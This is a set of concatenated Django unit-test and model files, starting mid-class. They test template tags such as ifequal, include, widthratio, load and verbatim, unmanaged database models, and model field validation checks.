    def test_ifequal_numeric08(self):
        output = self.engine.render_to_string('ifequal-numeric08', {'x': 5})
        self.assertEqual(output, '')

    @setup({'ifequal-numeric09': '{% ifequal x "5" %}yes{% endifequal %}'})
    def test_ifequal_numeric09(self):
        output = self.engine.render_to_string('ifequal-numeric09', {'x': '5'})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-numeric10': '{% ifequal x -5 %}yes{% endifequal %}'})
    def test_ifequal_numeric10(self):
        output = self.engine.render_to_string('ifequal-numeric10', {'x': -5})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-numeric11': '{% ifequal x -5.2 %}yes{% endifequal %}'})
    def test_ifequal_numeric11(self):
        output = self.engine.render_to_string('ifequal-numeric11', {'x': -5.2})
        self.assertEqual(output, 'yes')

    @setup({'ifequal-numeric12': '{% ifequal x +5 %}yes{% endifequal %}'})
    def test_ifequal_numeric12(self):
        output = self.engine.render_to_string('ifequal-numeric12', {'x': 5})
        self.assertEqual(output, 'yes')

    # FILTER EXPRESSIONS AS ARGUMENTS
    @setup({'ifequal-filter01': '{% ifequal a|upper "A" %}x{% endifequal %}'})
    def test_ifequal_filter01(self):
        output = self.engine.render_to_string('ifequal-filter01', {'a': 'a'})
        self.assertEqual(output, 'x')

    @setup({'ifequal-filter02': '{% ifequal "A" a|upper %}x{% endifequal %}'})
    def test_ifequal_filter02(self):
        output = self.engine.render_to_string('ifequal-filter02', {'a': 'a'})
        self.assertEqual(output, 'x')

    @setup({'ifequal-filter03': '{% ifequal a|upper b|upper %}x{% endifequal %}'})
    def test_ifequal_filter03(self):
        output = self.engine.render_to_string('ifequal-filter03', {'a': 'x', 'b': 'X'})
        self.assertEqual(output, 'x')

    @setup({'ifequal-filter04': '{% ifequal x|slice:"1" "a" %}x{% endifequal %}'})
    def test_ifequal_filter04(self):
        output = self.engine.render_to_string('ifequal-filter04', {'x': 'aaa'})
        self.assertEqual(output, 'x')

    @setup({'ifequal-filter05': '{% ifequal x|slice:"1"|upper "A" %}x{% endifequal %}'})
    def test_ifequal_filter05(self):
        output = self.engine.render_to_string('ifequal-filter05', {'x': 'aaa'})
        self.assertEqual(output, 'x')


class IfNotEqualTagTests(SimpleTestCase):

    @setup({'ifnotequal01': '{% ifnotequal a b %}yes{% endifnotequal %}'})
    def test_ifnotequal01(self):
        output = self.engine.render_to_string('ifnotequal01', {'a': 1, 'b': 2})
        self.assertEqual(output, 'yes')

    @setup({'ifnotequal02': '{% ifnotequal a b %}yes{% endifnotequal %}'})
    def test_ifnotequal02(self):
        output = self.engine.render_to_string('ifnotequal02', {'a': 1, 'b': 1})
        self.assertEqual(output, '')

    @setup({'ifnotequal03': '{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}'})
    def test_ifnotequal03(self):
        output = self.engine.render_to_string('ifnotequal03', {'a': 1, 'b': 2})
        self.assertEqual(output, 'yes')

    @setup({'ifnotequal04': '{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}'})
    def test_ifnotequal04(self):
        output = self.engine.render_to_string('ifnotequal04', {'a': 1, 'b': 1})
        self.assertEqual(output, 'no')






from django.template import (
    Context, Engine, TemplateDoesNotExist, TemplateSyntaxError,
)
from django.test import SimpleTestCase

from ..utils import setup
from .test_basic import basic_templates

include_fail_templates = {
    'include-fail1': '{% load bad_tag %}{% badtag %}',
    'include-fail2': '{% load broken_tag %}',
}


class IncludeTagTests(SimpleTestCase):
    libraries = {'bad_tag': 'template_tests.templatetags.bad_tag'}

    @setup({'include01': '{% include "basic-syntax01" %}'}, basic_templates)
    def test_include01(self):
        output = self.engine.render_to_string('include01')
        self.assertEqual(output, 'something cool')

    @setup({'include02': '{% include "basic-syntax02" %}'}, basic_templates)
    def test_include02(self):
        output = self.engine.render_to_string('include02', {'headline': 'Included'})
        self.assertEqual(output, 'Included')

    @setup({'include03': '{% include template_name %}'}, basic_templates)
    def test_include03(self):
        output = self.engine.render_to_string(
            'include03',
            {'template_name': 'basic-syntax02', 'headline': 'Included'},
        )
        self.assertEqual(output, 'Included')

    @setup({'include04': 'a{% include "nonexistent" %}b'})
    def test_include04(self):
        template = self.engine.get_template('include04')

        if self.engine.debug:
            with self.assertRaises(TemplateDoesNotExist):
                template.render(Context({}))
        else:
            output = template.render(Context({}))
            self.assertEqual(output, "ab")

    @setup({
        'include 05': 'template with a space',
        'include06': '{% include "include 05"%}',
    })
    def test_include06(self):
        output = self.engine.render_to_string('include06')
        self.assertEqual(output, "template with a space")

    @setup({'include07': '{% include "basic-syntax02" with headline="Inline" %}'}, basic_templates)
    def test_include07(self):
        output = self.engine.render_to_string('include07', {'headline': 'Included'})
        self.assertEqual(output, 'Inline')

    @setup({'include08': '{% include headline with headline="Dynamic" %}'}, basic_templates)
    def test_include08(self):
        output = self.engine.render_to_string('include08', {'headline': 'basic-syntax02'})
        self.assertEqual(output, 'Dynamic')

    @setup(
        {'include09': '{{ first }}--'
                      '{% include "basic-syntax03" with first=second|lower|upper second=first|upper %}'
                      '--{{ second }}'},
        basic_templates,
    )
    def test_include09(self):
        output = self.engine.render_to_string('include09', {'first': 'Ul', 'second': 'lU'})
        self.assertEqual(output, 'Ul--LU --- UL--lU')

    @setup({'include10': '{% include "basic-syntax03" only %}'}, basic_templates)
    def test_include10(self):
        output = self.engine.render_to_string('include10', {'first': '1'})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID --- INVALID')
        else:
            self.assertEqual(output, ' --- ')

    @setup({'include11': '{% include "basic-syntax03" only with second=2 %}'}, basic_templates)
    def test_include11(self):
        output = self.engine.render_to_string('include11', {'first': '1'})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID --- 2')
        else:
            self.assertEqual(output, ' --- 2')

    @setup({'include12': '{% include "basic-syntax03" with first=1 only %}'}, basic_templates)
    def test_include12(self):
        output = self.engine.render_to_string('include12', {'second': '2'})
        if self.engine.string_if_invalid:
            self.assertEqual(output, '1 --- INVALID')
        else:
            self.assertEqual(output, '1 --- ')

    @setup(
        {'include13': '{% autoescape off %}{% include "basic-syntax03" %}{% endautoescape %}'},
        basic_templates,
    )
    def test_include13(self):
        output = self.engine.render_to_string('include13', {'first': '&'})
        if self.engine.string_if_invalid:
            self.assertEqual(output, '& --- INVALID')
        else:
            self.assertEqual(output, '& --- ')

    @setup(
        {'include14': '{% autoescape off %}'
                      '{% include "basic-syntax03" with first=var1 only %}'
                      '{% endautoescape %}'},
        basic_templates,
    )
    def test_include14(self):
        output = self.engine.render_to_string('include14', {'var1': '&'})
        if self.engine.string_if_invalid:
            self.assertEqual(output, '& --- INVALID')
        else:
            self.assertEqual(output, '& --- ')

    # Include syntax errors
    @setup({'include-error01': '{% include "basic-syntax01" with %}'})
    def test_include_error01(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('include-error01')

    @setup({'include-error02': '{% include "basic-syntax01" with "no key" %}'})
    def test_include_error02(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('include-error02')

    @setup({'include-error03': '{% include "basic-syntax01" with dotted.arg="error" %}'})
    def test_include_error03(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('include-error03')

    @setup({'include-error04': '{% include "basic-syntax01" something_random %}'})
    def test_include_error04(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('include-error04')

    @setup({'include-error05': '{% include "basic-syntax01" foo="duplicate" foo="key" %}'})
    def test_include_error05(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('include-error05')

    @setup({'include-error06': '{% include "basic-syntax01" only only %}'})
    def test_include_error06(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('include-error06')

    @setup(include_fail_templates)
    def test_include_fail1(self):
        with self.assertRaises(RuntimeError):
            self.engine.get_template('include-fail1')

    @setup(include_fail_templates)
    def test_include_fail2(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('include-fail2')

    @setup({'include-error07': '{% include "include-fail1" %}'}, include_fail_templates)
    def test_include_error07(self):
        template = self.engine.get_template('include-error07')

        if self.engine.debug:
            with self.assertRaises(RuntimeError):
                template.render(Context())
        else:
            self.assertEqual(template.render(Context()), '')

    @setup({'include-error08': '{% include "include-fail2" %}'}, include_fail_templates)
    def test_include_error08(self):
        template = self.engine.get_template('include-error08')

        if self.engine.debug:
            with self.assertRaises(TemplateSyntaxError):
                template.render(Context())
        else:
            self.assertEqual(template.render(Context()), '')

    @setup({'include-error09': '{% include failed_include %}'}, include_fail_templates)
    def test_include_error09(self):
        context = Context({'failed_include': 'include-fail1'})
        template = self.engine.get_template('include-error09')

        if self.engine.debug:
            with self.assertRaises(RuntimeError):
                template.render(context)
        else:
            self.assertEqual(template.render(context), '')

    @setup({'include-error10': '{% include failed_include %}'}, include_fail_templates)
    def test_include_error10(self):
        context = Context({'failed_include': 'include-fail2'})
        template = self.engine.get_template('include-error10')

        if self.engine.debug:
            with self.assertRaises(TemplateSyntaxError):
                template.render(context)
        else:
            self.assertEqual(template.render(context), '')


class IncludeTests(SimpleTestCase):

    def test_include_missing_template(self):
        """
        Tests that the correct template is identified as not existing
        when {% include %} specifies a template that does not exist.
        """
        engine = Engine(app_dirs=True, debug=True)
        template = engine.get_template('test_include_error.html')
        with self.assertRaises(TemplateDoesNotExist) as e:
            template.render(Context())
        self.assertEqual(e.exception.args[0], 'missing.html')

    def test_extends_include_missing_baseloader(self):
        """
        #12787 -- Tests that the correct template is identified as not existing
        when {% extends %} specifies a template that does exist, but that
        template has an {% include %} of something that does not exist.
        """
        engine = Engine(app_dirs=True, debug=True)
        template = engine.get_template('test_extends_error.html')
        with self.assertRaises(TemplateDoesNotExist) as e:
            template.render(Context())
        self.assertEqual(e.exception.args[0], 'missing.html')

    def test_extends_include_missing_cachedloader(self):
        """
        Test the cache loader separately since it overrides load_template.
        """
        engine = Engine(debug=True, loaders=[
            ('django.template.loaders.cached.Loader', [
                'django.template.loaders.app_directories.Loader',
            ]),
        ])

        template = engine.get_template('test_extends_error.html')
        with self.assertRaises(TemplateDoesNotExist) as e:
            template.render(Context())
        self.assertEqual(e.exception.args[0], 'missing.html')

        # Repeat to ensure it still works when loading from the cache
        template = engine.get_template('test_extends_error.html')
        with self.assertRaises(TemplateDoesNotExist) as e:
            template.render(Context())
        self.assertEqual(e.exception.args[0], 'missing.html')

    def test_include_template_argument(self):
        """
        Support any render() supporting object
        """
        engine = Engine()
        ctx = Context({
            'tmpl': engine.from_string('This worked!'),
        })
        outer_tmpl = engine.from_string('{% include tmpl %}')
        output = outer_tmpl.render(ctx)
        self.assertEqual(output, 'This worked!')

    def test_include_immediate_missing(self):
        """
        #16417 -- Include tags pointing to missing templates should not raise
        an error at parsing time.
        """
        Engine(debug=True).from_string('{% include "this_does_not_exist.html" %}')

    def test_include_recursive(self):
        comments = [
            {
                'comment': 'A1',
                'children': [
                    {'comment': 'B1', 'children': []},
                    {'comment': 'B2', 'children': []},
                    {'comment': 'B3', 'children': [
                        {'comment': 'C1', 'children': []}
                    ]},
                ]
            }
        ]
        engine = Engine(app_dirs=True)
        t = engine.get_template('recursive_include.html')
        self.assertEqual(
            "Recursion!  A1  Recursion!  B1   B2   B3  Recursion!  C1",
            t.render(Context({'comments': comments})).replace(' ', '').replace('\n', ' ').strip(),
        )






from django.test import SimpleTestCase

from ..utils import setup


class BuiltinsTests(SimpleTestCase):

    @setup({'builtins01': '{{ True }}'})
    def test_builtins01(self):
        output = self.engine.render_to_string('builtins01')
        self.assertEqual(output, 'True')

    @setup({'builtins02': '{{ False }}'})
    def test_builtins02(self):
        output = self.engine.render_to_string('builtins02')
        self.assertEqual(output, 'False')

    @setup({'builtins03': '{{ None }}'})
    def test_builtins03(self):
        output = self.engine.render_to_string('builtins03')
        self.assertEqual(output, 'None')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase
from django.utils import six

from ..utils import setup


class WidthRatioTagTests(SimpleTestCase):
    libraries = {'custom': 'template_tests.templatetags.custom'}

    @setup({'widthratio01': '{% widthratio a b 0 %}'})
    def test_widthratio01(self):
        output = self.engine.render_to_string('widthratio01', {'a': 50, 'b': 100})
        self.assertEqual(output, '0')

    @setup({'widthratio02': '{% widthratio a b 100 %}'})
    def test_widthratio02(self):
        output = self.engine.render_to_string('widthratio02', {'a': 0, 'b': 0})
        self.assertEqual(output, '0')

    @setup({'widthratio03': '{% widthratio a b 100 %}'})
    def test_widthratio03(self):
        output = self.engine.render_to_string('widthratio03', {'a': 0, 'b': 100})
        self.assertEqual(output, '0')

    @setup({'widthratio04': '{% widthratio a b 100 %}'})
    def test_widthratio04(self):
        output = self.engine.render_to_string('widthratio04', {'a': 50, 'b': 100})
        self.assertEqual(output, '50')

    @setup({'widthratio05': '{% widthratio a b 100 %}'})
    def test_widthratio05(self):
        output = self.engine.render_to_string('widthratio05', {'a': 100, 'b': 100})
        self.assertEqual(output, '100')

    @setup({'widthratio06': '{% widthratio a b 100 %}'})
    def test_widthratio06(self):
        """
        62.5 should round to 63 on Python 2 and 62 on Python 3
        See http://docs.python.org/py3k/whatsnew/3.0.html
        """
        output = self.engine.render_to_string('widthratio06', {'a': 50, 'b': 80})
        self.assertEqual(output, '62' if six.PY3 else '63')

    @setup({'widthratio07': '{% widthratio a b 100 %}'})
    def test_widthratio07(self):
        """
        71.4 should round to 71
        """
        output = self.engine.render_to_string('widthratio07', {'a': 50, 'b': 70})
        self.assertEqual(output, '71')

    # Raise exception if we don't have 3 args, last one an integer
    @setup({'widthratio08': '{% widthratio %}'})
    def test_widthratio08(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('widthratio08')

    @setup({'widthratio09': '{% widthratio a b %}'})
    def test_widthratio09(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('widthratio09', {'a': 50, 'b': 100})

    @setup({'widthratio10': '{% widthratio a b 100.0 %}'})
    def test_widthratio10(self):
        output = self.engine.render_to_string('widthratio10', {'a': 50, 'b': 100})
        self.assertEqual(output, '50')

    @setup({'widthratio11': '{% widthratio a b c %}'})
    def test_widthratio11(self):
        """
        #10043: widthratio should allow max_width to be a variable
        """
        output = self.engine.render_to_string('widthratio11', {'a': 50, 'c': 100, 'b': 100})
        self.assertEqual(output, '50')

    # #18739: widthratio should handle None args consistently with
    # non-numerics
    @setup({'widthratio12a': '{% widthratio a b c %}'})
    def test_widthratio12a(self):
        output = self.engine.render_to_string('widthratio12a', {'a': 'a', 'c': 100, 'b': 100})
        self.assertEqual(output, '')

    @setup({'widthratio12b': '{% widthratio a b c %}'})
    def test_widthratio12b(self):
        output = self.engine.render_to_string('widthratio12b', {'a': None, 'c': 100, 'b': 100})
        self.assertEqual(output, '')

    @setup({'widthratio13a': '{% widthratio a b c %}'})
    def test_widthratio13a(self):
        output = self.engine.render_to_string('widthratio13a', {'a': 0, 'c': 100, 'b': 'b'})
        self.assertEqual(output, '')

    @setup({'widthratio13b': '{% widthratio a b c %}'})
    def test_widthratio13b(self):
        output = self.engine.render_to_string('widthratio13b', {'a': 0, 'c': 100, 'b': None})
        self.assertEqual(output, '')

    @setup({'widthratio14a': '{% widthratio a b c %}'})
    def test_widthratio14a(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('widthratio14a', {'a': 0, 'c': 'c', 'b': 100})

    @setup({'widthratio14b': '{% widthratio a b c %}'})
    def test_widthratio14b(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('widthratio14b', {'a': 0, 'c': None, 'b': 100})

    @setup({'widthratio15': '{% load custom %}{% widthratio a|noop:"x y" b 0 %}'})
    def test_widthratio15(self):
        """
        Test whitespace in filter argument
        """
        output = self.engine.render_to_string('widthratio15', {'a': 50, 'b': 100})
        self.assertEqual(output, '0')

    # Widthratio with variable assignment
    @setup({'widthratio16': '{% widthratio a b 100 as variable %}-{{ variable }}-'})
    def test_widthratio16(self):
        output = self.engine.render_to_string('widthratio16', {'a': 50, 'b': 100})
        self.assertEqual(output, '-50-')

    @setup({'widthratio17': '{% widthratio a b 100 as variable %}-{{ variable }}-'})
    def test_widthratio17(self):
        output = self.engine.render_to_string('widthratio17', {'a': 100, 'b': 100})
        self.assertEqual(output, '-100-')

    @setup({'widthratio18': '{% widthratio a b 100 as %}'})
    def test_widthratio18(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('widthratio18')

    @setup({'widthratio19': '{% widthratio a b 100 not_as variable %}'})
    def test_widthratio19(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('widthratio19')

    @setup({'widthratio20': '{% widthratio a b 100 %}'})
    def test_widthratio20(self):
        output = self.engine.render_to_string('widthratio20', {'a': float('inf'), 'b': float('inf')})
        self.assertEqual(output, '')

    @setup({'widthratio21': '{% widthratio a b 100 %}'})
    def test_widthratio21(self):
        output = self.engine.render_to_string('widthratio21', {'a': float('inf'), 'b': 2})
        self.assertEqual(output, '')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class LoadTagTests(SimpleTestCase):
    libraries = {
        'subpackage.echo': 'template_tests.templatetags.subpackage.echo',
        'testtags': 'template_tests.templatetags.testtags',
    }

    @setup({'load01': '{% load testtags subpackage.echo %}{% echo test %} {% echo2 "test" %}'})
    def test_load01(self):
        output = self.engine.render_to_string('load01')
        self.assertEqual(output, 'test test')

    @setup({'load02': '{% load subpackage.echo %}{% echo2 "test" %}'})
    def test_load02(self):
        output = self.engine.render_to_string('load02')
        self.assertEqual(output, 'test')

    # {% load %} tag, importing individual tags
    @setup({'load03': '{% load echo from testtags %}{% echo this that theother %}'})
    def test_load03(self):
        output = self.engine.render_to_string('load03')
        self.assertEqual(output, 'this that theother')

    @setup({'load04': '{% load echo other_echo from testtags %}'
                      '{% echo this that theother %} {% other_echo and another thing %}'})
    def test_load04(self):
        output = self.engine.render_to_string('load04')
        self.assertEqual(output, 'this that theother and another thing')

    @setup({'load05': '{% load echo upper from testtags %}'
                      '{% echo this that theother %} {{ statement|upper }}'})
    def test_load05(self):
        output = self.engine.render_to_string('load05', {'statement': 'not shouting'})
        self.assertEqual(output, 'this that theother NOT SHOUTING')

    @setup({'load06': '{% load echo2 from subpackage.echo %}{% echo2 "test" %}'})
    def test_load06(self):
        output = self.engine.render_to_string('load06')
        self.assertEqual(output, 'test')

    # {% load %} tag errors
    @setup({'load07': '{% load echo other_echo bad_tag from testtags %}'})
    def test_load07(self):
        msg = "'bad_tag' is not a valid tag or filter in tag library 'testtags'"
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.get_template('load07')

    @setup({'load08': '{% load echo other_echo bad_tag from %}'})
    def test_load08(self):
        msg = "'echo' is not a registered tag library. Must be one of:\nsubpackage.echo\ntesttags"
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.get_template('load08')

    @setup({'load09': '{% load from testtags %}'})
    def test_load09(self):
        msg = "'from' is not a registered tag library. Must be one of:\nsubpackage.echo\ntesttags"
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.get_template('load09')

    @setup({'load10': '{% load echo from bad_library %}'})
    def test_load10(self):
        msg = "'bad_library' is not a registered tag library. Must be one of:\nsubpackage.echo\ntesttags"
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.get_template('load10')

    @setup({'load12': '{% load subpackage.missing %}'})
    def test_load12(self):
        msg = "'subpackage.missing' is not a registered tag library. Must be one of:\nsubpackage.echo\ntesttags"
        with self.assertRaisesMessage(TemplateSyntaxError, msg):
            self.engine.get_template('load12')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class VerbatimTagTests(SimpleTestCase):

    @setup({'verbatim-tag01': '{% verbatim %}{{bare   }}{% endverbatim %}'})
    def test_verbatim_tag01(self):
        output = self.engine.render_to_string('verbatim-tag01')
        self.assertEqual(output, '{{bare   }}')

    @setup({'verbatim-tag02': '{% verbatim %}{% endif %}{% endverbatim %}'})
    def test_verbatim_tag02(self):
        output = self.engine.render_to_string('verbatim-tag02')
        self.assertEqual(output, '{% endif %}')

    @setup({'verbatim-tag03': '{% verbatim %}It\'s the {% verbatim %} tag{% endverbatim %}'})
    def test_verbatim_tag03(self):
        output = self.engine.render_to_string('verbatim-tag03')
        self.assertEqual(output, 'It\'s the {% verbatim %} tag')

    @setup({'verbatim-tag04': '{% verbatim %}{% verbatim %}{% endverbatim %}{% endverbatim %}'})
    def test_verbatim_tag04(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('verbatim-tag04')

    @setup({'verbatim-tag05': '{% verbatim %}{% endverbatim %}{% verbatim %}{% endverbatim %}'})
    def test_verbatim_tag05(self):
        output = self.engine.render_to_string('verbatim-tag05')
        self.assertEqual(output, '')

    @setup({'verbatim-tag06': '{% verbatim special %}'
                              'Don\'t {% endverbatim %} just yet{% endverbatim special %}'})
    def test_verbatim_tag06(self):
        output = self.engine.render_to_string('verbatim-tag06')
        self.assertEqual(output, 'Don\'t {% endverbatim %} just yet')






"""
Models can have a ``managed`` attribute, which specifies whether the SQL code
is generated for the table on various manage.py operations.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


#  All of these models are created in the database by Django.


@python_2_unicode_compatible
class A01(models.Model):
    f_a = models.CharField(max_length=10, db_index=True)
    f_b = models.IntegerField()

    class Meta:
        db_table = 'a01'

    def __str__(self):
        return self.f_a


@python_2_unicode_compatible
class B01(models.Model):
    fk_a = models.ForeignKey(A01, models.CASCADE)
    f_a = models.CharField(max_length=10, db_index=True)
    f_b = models.IntegerField()

    class Meta:
        db_table = 'b01'
        # 'managed' is True by default. This tests we can set it explicitly.
        managed = True

    def __str__(self):
        return self.f_a


@python_2_unicode_compatible
class C01(models.Model):
    mm_a = models.ManyToManyField(A01, db_table='d01')
    f_a = models.CharField(max_length=10, db_index=True)
    f_b = models.IntegerField()

    class Meta:
        db_table = 'c01'

    def __str__(self):
        return self.f_a

# All of these models use the same tables as the previous set (they are shadows
# of possibly a subset of the columns). There should be no creation errors,
# since we have told Django they aren't managed by Django.


@python_2_unicode_compatible
class A02(models.Model):
    f_a = models.CharField(max_length=10, db_index=True)

    class Meta:
        db_table = 'a01'
        managed = False

    def __str__(self):
        return self.f_a


@python_2_unicode_compatible
class B02(models.Model):
    class Meta:
        db_table = 'b01'
        managed = False

    fk_a = models.ForeignKey(A02, models.CASCADE)
    f_a = models.CharField(max_length=10, db_index=True)
    f_b = models.IntegerField()

    def __str__(self):
        return self.f_a


# To re-use the many-to-many intermediate table, we need to manually set up
# things up.
@python_2_unicode_compatible
class C02(models.Model):
    mm_a = models.ManyToManyField(A02, through="Intermediate")
    f_a = models.CharField(max_length=10, db_index=True)
    f_b = models.IntegerField()

    class Meta:
        db_table = 'c01'
        managed = False

    def __str__(self):
        return self.f_a


class Intermediate(models.Model):
    a02 = models.ForeignKey(A02, models.CASCADE, db_column="a01_id")
    c02 = models.ForeignKey(C02, models.CASCADE, db_column="c01_id")

    class Meta:
        db_table = 'd01'
        managed = False


# These next models test the creation (or not) of many to many join tables
# between managed and unmanaged models. A join table between two unmanaged
# models shouldn't be automatically created (see #10647).
#

# Firstly, we need some models that will create the tables, purely so that the
# tables are created. This is a test setup, not a requirement for unmanaged
# models.
class Proxy1(models.Model):
    class Meta:
        db_table = "unmanaged_models_proxy1"


class Proxy2(models.Model):
    class Meta:
        db_table = "unmanaged_models_proxy2"


class Unmanaged1(models.Model):
    class Meta:
        managed = False
        db_table = "unmanaged_models_proxy1"


# Unmanaged with an m2m to unmanaged: the intermediary table won't be created.
class Unmanaged2(models.Model):
    mm = models.ManyToManyField(Unmanaged1)

    class Meta:
        managed = False
        db_table = "unmanaged_models_proxy2"


# Here's an unmanaged model with an m2m to a managed one; the intermediary
# table *will* be created (unless given a custom `through` as for C02 above).
class Managed1(models.Model):
    mm = models.ManyToManyField(Unmanaged1)












from __future__ import unicode_literals

from django.db import connection
from django.test import TestCase

from .models import A01, A02, B01, B02, C01, C02, Managed1, Unmanaged2


class SimpleTests(TestCase):

    def test_simple(self):
        """
        The main test here is that the all the models can be created without
        any database errors. We can also do some more simple insertion and
        lookup tests while we're here to show that the second of models do
        refer to the tables from the first set.
        """
        # Insert some data into one set of models.
        a = A01.objects.create(f_a="foo", f_b=42)
        B01.objects.create(fk_a=a, f_a="fred", f_b=1729)
        c = C01.objects.create(f_a="barney", f_b=1)
        c.mm_a.set([a])

        # ... and pull it out via the other set.
        a2 = A02.objects.all()[0]
        self.assertIsInstance(a2, A02)
        self.assertEqual(a2.f_a, "foo")

        b2 = B02.objects.all()[0]
        self.assertIsInstance(b2, B02)
        self.assertEqual(b2.f_a, "fred")

        self.assertIsInstance(b2.fk_a, A02)
        self.assertEqual(b2.fk_a.f_a, "foo")

        self.assertEqual(list(C02.objects.filter(f_a=None)), [])

        resp = list(C02.objects.filter(mm_a=a.id))
        self.assertEqual(len(resp), 1)

        self.assertIsInstance(resp[0], C02)
        self.assertEqual(resp[0].f_a, 'barney')


class ManyToManyUnmanagedTests(TestCase):

    def test_many_to_many_between_unmanaged(self):
        """
        The intermediary table between two unmanaged models should not be created.
        """
        table = Unmanaged2._meta.get_field('mm').m2m_db_table()
        tables = connection.introspection.table_names()
        self.assertNotIn(table, tables, "Table '%s' should not exist, but it does." % table)

    def test_many_to_many_between_unmanaged_and_managed(self):
        """
        An intermediary table between a managed and an unmanaged model should be created.
        """
        table = Managed1._meta.get_field('mm').m2m_db_table()
        tables = connection.introspection.table_names()
        self.assertIn(table, tables, "Table '%s' does not exist." % table)






from django.db import models
from django.test import SimpleTestCase
from django.test.utils import isolate_apps


@isolate_apps('invalid_models_tests')
class CustomFieldTest(SimpleTestCase):

    def test_none_column(self):
        class NoColumnField(models.AutoField):
            def db_type(self, connection):
                # None indicates not to create a column in the database.
                return None

        class Model(models.Model):
            field = NoColumnField(primary_key=True, db_column="other_field")
            other_field = models.IntegerField()

        field = Model._meta.get_field('field')
        errors = field.check()
        self.assertEqual(errors, [])






from django.core import checks
from django.db import models
from django.test import SimpleTestCase
from django.test.utils import isolate_apps


@isolate_apps('invalid_models_tests')
class DeprecatedFieldsTests(SimpleTestCase):
    def test_IPAddressField_deprecated(self):
        class IPAddressModel(models.Model):
            ip = models.IPAddressField()

        model = IPAddressModel()
        self.assertEqual(
            model.check(),
            [checks.Error(
                'IPAddressField has been removed except for support in '
                'historical migrations.',
                hint='Use GenericIPAddressField instead.',
                obj=IPAddressModel._meta.get_field('ip'),
                id='fields.E900',
            )],
        )

    def test_CommaSeparatedIntegerField_deprecated(self):
        class CommaSeparatedIntegerModel(models.Model):
            csi = models.CommaSeparatedIntegerField(max_length=64)

        model = CommaSeparatedIntegerModel()
        self.assertEqual(
            model.check(),
            [checks.Warning(
                'CommaSeparatedIntegerField has been deprecated. Support '
                'for it (except in historical migrations) will be removed '
                'in Django 2.0.',
                hint='Use CharField(validators=[validate_comma_separated_integer_list]) instead.',
                obj=CommaSeparatedIntegerModel._meta.get_field('csi'),
                id='fields.W901',
            )],
        )






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import unittest

from django.core.checks import Error, Warning as DjangoWarning
from django.db import connection, models
from django.test import SimpleTestCase, TestCase
from django.test.utils import isolate_apps, override_settings
from django.utils.timezone import now


@isolate_apps('invalid_models_tests')
class AutoFieldTests(SimpleTestCase):

    def test_valid_case(self):
        class Model(models.Model):
            id = models.AutoField(primary_key=True)

        field = Model._meta.get_field('id')
        errors = field.check()
        expected = []
        self.assertEqual(errors, expected)

    def test_primary_key(self):
        # primary_key must be True. Refs #12467.
        class Model(models.Model):
            field = models.AutoField(primary_key=False)

            # Prevent Django from autocreating `id` AutoField, which would
            # result in an error, because a model must have exactly one
            # AutoField.
            another = models.IntegerField(primary_key=True)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                'AutoFields must set primary_key=True.',
                obj=field,
                id='fields.E100',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class BooleanFieldTests(SimpleTestCase):

    def test_nullable_boolean_field(self):
        class Model(models.Model):
            field = models.BooleanField(null=True)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                'BooleanFields do not accept null values.',
                hint='Use a NullBooleanField instead.',
                obj=field,
                id='fields.E110',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class CharFieldTests(TestCase):

    def test_valid_field(self):
        class Model(models.Model):
            field = models.CharField(
                max_length=255,
                choices=[
                    ('1', 'item1'),
                    ('2', 'item2'),
                ],
                db_index=True)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = []
        self.assertEqual(errors, expected)

    def test_missing_max_length(self):
        class Model(models.Model):
            field = models.CharField()

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "CharFields must define a 'max_length' attribute.",
                obj=field,
                id='fields.E120',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_negative_max_length(self):
        class Model(models.Model):
            field = models.CharField(max_length=-1)

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'max_length' must be a positive integer.",
                obj=field,
                id='fields.E121',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_bad_max_length_value(self):
        class Model(models.Model):
            field = models.CharField(max_length="bad")

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'max_length' must be a positive integer.",
                obj=field,
                id='fields.E121',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_str_max_length_value(self):
        class Model(models.Model):
            field = models.CharField(max_length='20')

        field = Model._meta.get_field('field')
        errors = field.check()
        expected = [
            Error(
                "'max_length' must be a positive integer.",
                obj=field,
                id='fields.E121',
            ),
        ]
        self.assertEqual(errors, expected)

